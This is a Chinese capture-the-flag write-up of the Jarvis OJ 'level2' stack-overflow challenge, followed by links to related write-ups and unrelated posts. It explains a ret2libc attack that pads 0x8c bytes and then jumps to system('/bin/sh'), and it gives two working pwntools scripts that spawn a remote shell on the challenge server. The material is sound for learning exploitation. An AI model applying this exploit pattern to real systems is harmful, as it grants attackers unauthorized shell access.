Pwn-level2
题目地址
开启了NX 那么就不能shellcode
read存在栈溢出
IDA按Shift+F12查看字符串,发现有shell
buf需要填充0x92个字符(0x88+0x4)
现在可以构造一个system("/bin/sh")的栈帧,通过控制vulnerable_function函数返回到该栈帧的地址,执行system("/bin/sh")来获取shell
system的地址为08048320
/bin/sh的地址为0804A024
利用代码如下
from pwn import *
r=remote('pwn2.jarvisoj.com',9878)
payload='a'*(0x88+0x4)+p32(0x08048320)+'aaaa'+p32(0x804a024) //跳到system地址,返回地址为0xaaaa,参数为/bin/sh
r.sendline(payload)
r.interactive()
或者
from pwn import *
p = remote('pwn2.jarvisoj.com','')
elf = ELF('./level2') sh_addr = elf.search('/bin/sh').next()
print p32(sh_addr)
system_addr = elf.symbols['system']
print p32(system_addr) payload = 'a' * (0x88 + 0x4) + p32(system_addr) +'aaaa' + p32(sh_addr)
p.send(payload)
p.interactive()
执行
Pwn-level2的更多相关文章
- 攻防世界—pwn—level2
题目分析 题目提示 下载文件后首先使用checksec检查文件保护机制 使用ida打开,查看伪代码 搜索字符串发现/bash/sh 信息收集 偏移量 system的地址 /bin/sh的地址 编写脚本 ...
- 攻防世界PWN简单题 level2
攻防世界PWN简单题 level2 此题考验的是对ROP链攻击的基础 万事开头PWN第一步checksec 一下 32位的小端程序,扔进IDA 进入函数,找出栈溢出漏洞. 又是这个位置的栈溢出,rea ...
- Jarvis OJ- [XMAN]level2/3_x64-Writeup——64位简单栈溢出
两道64位栈溢出,思路和之前的32位溢出基本一致,所以放在一起 在这两道中体现的32位和64位的主要区别在于函数参数传递的方式 在32位程序运行中,函数参数直接压入栈中 调用函数时栈的结构为:调用函数 ...
- Jarvis OJ - [XMAN]level2 - Writeup
简单利用"/bin/sh"夺权 简单看一下 放到ida中发现了"/bin/sh"串,和system函数,可以利用== 所以只要在vuln函数返回时跳转到syst ...
- pwn入门之栈溢出练习
本文原创作者:W1ngs,本文属i春秋原创奖励计划,未经许可禁止转载!前言:最近在入门pwn的栈溢出,做了一下jarvisoj里的一些ctf pwn题,感觉质量都很不错,难度循序渐进,把自己做题的思路 ...
- 攻防世界pwn之新手区
涉及的工具有 Ubuntu 16.04 pwntools IDA gdb-peda 1.get_shell 连接就给flag,可以直接用nc连接,然后输入ls查看里面的目录,发现有名字叫flag文件, ...
- 攻防世界新手区pwn writeup
CGfsb 题目地址:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5050 下载文 ...
- [转]Jarvis OJ- [XMAN]level2/3_x64-Writeup
学弟写的挺好的,我就直接转过来了 原文链接:http://www.cnblogs.com/ZHijack/p/7940686.html 两道64位栈溢出,思路和之前的32位溢出基本一致,所以放在一起 ...
- Jarvis OJ - 栈系列部分pwn - Writeup
最近做了Jarvis OJ的一部分pwn题,收获颇丰,现在这里简单记录一下exp,分析过程和思路以后再补上 Tell Me Something 此题与level0类似,请参考level0的writeu ...
- 攻防世界—pwn—cgpwn2
题目分析 题目提示 checksec检查文件保护机制 使用ida查看伪代码 hello函数存在溢出,与level2类似 信息收集 system地址 name的地址 编写脚本 from pwn impo ...
随机推荐
- Linux系统学习 八、SSH服务—SSH远程管理服务
1.SSH简介 ssh(安全外壳协议)是Secure Shell的缩写,是建立在应用层和传输层基础上的安全协议.传输的时候是经过加密的,防止信息泄露,比telnet(明文传递)要安全很多. ftp安装 ...
- java8 的files、path类相关文件遍历API
Path的两种初始化(应该还有别的方式) Path file = new File(path).toPath(); Paths.get 判断是文件.是目录 Files.isRegularFile(fi ...
- java8-05-再探函数式接口
1.自定义函数式接口 MyFun 传入一个参数 返回一个参数
- Codeforces Round #598 (Div. 3) E. Yet Another Division Into Teams dp
E. Yet Another Division Into Teams There are n students at your university. The programming skill of ...
- .NET Core 中读取 Request.Headers 的姿势
Request.Headers 的类型是 IHeaderDictionary 接口,对应的实现类是 HeaderDictionary ,C# 实现源码见 HeaderDictionary.cs . H ...
- 一个python问题引发的思考
问题: pyqt5下开发的时候,遇到了一个这样的问题.Traceback (most recent call last):File “test.py”, line 3, in from PyQt5.Q ...
- angular ng-bind-html异常Attempting to use an unsafe value in a safe context处理
在angular中使用ng-data-html渲染dom时,遇到了一个Attempting to use an unsafe value in a safe context错误,官方给出的理由是‘试图 ...
- Java实现Mysql的 substring_index 函数功能
Java实现Mysql数据库中 substring_index函数 前言: 由于hive中没有这个 substring_index函数,所以就自定义一个udf函数来调用使用.(不通过hive使用时可以 ...
- 有了faker,再也不用为了构造测试数据而烦恼啦!
在软件需求.开发.测试过程中,有时候需要使用一些测试数据,针对这种情况,我们一般要么使用已有的系统数据,要么需要手动制造一些数据.在手动制造数据的过程中,可能需要花费大量精力和工作量,此时可以借助Py ...
- Jenkins登录后空白页
进入.jenkins所在的目录 编辑config.xml文件 重启jenkins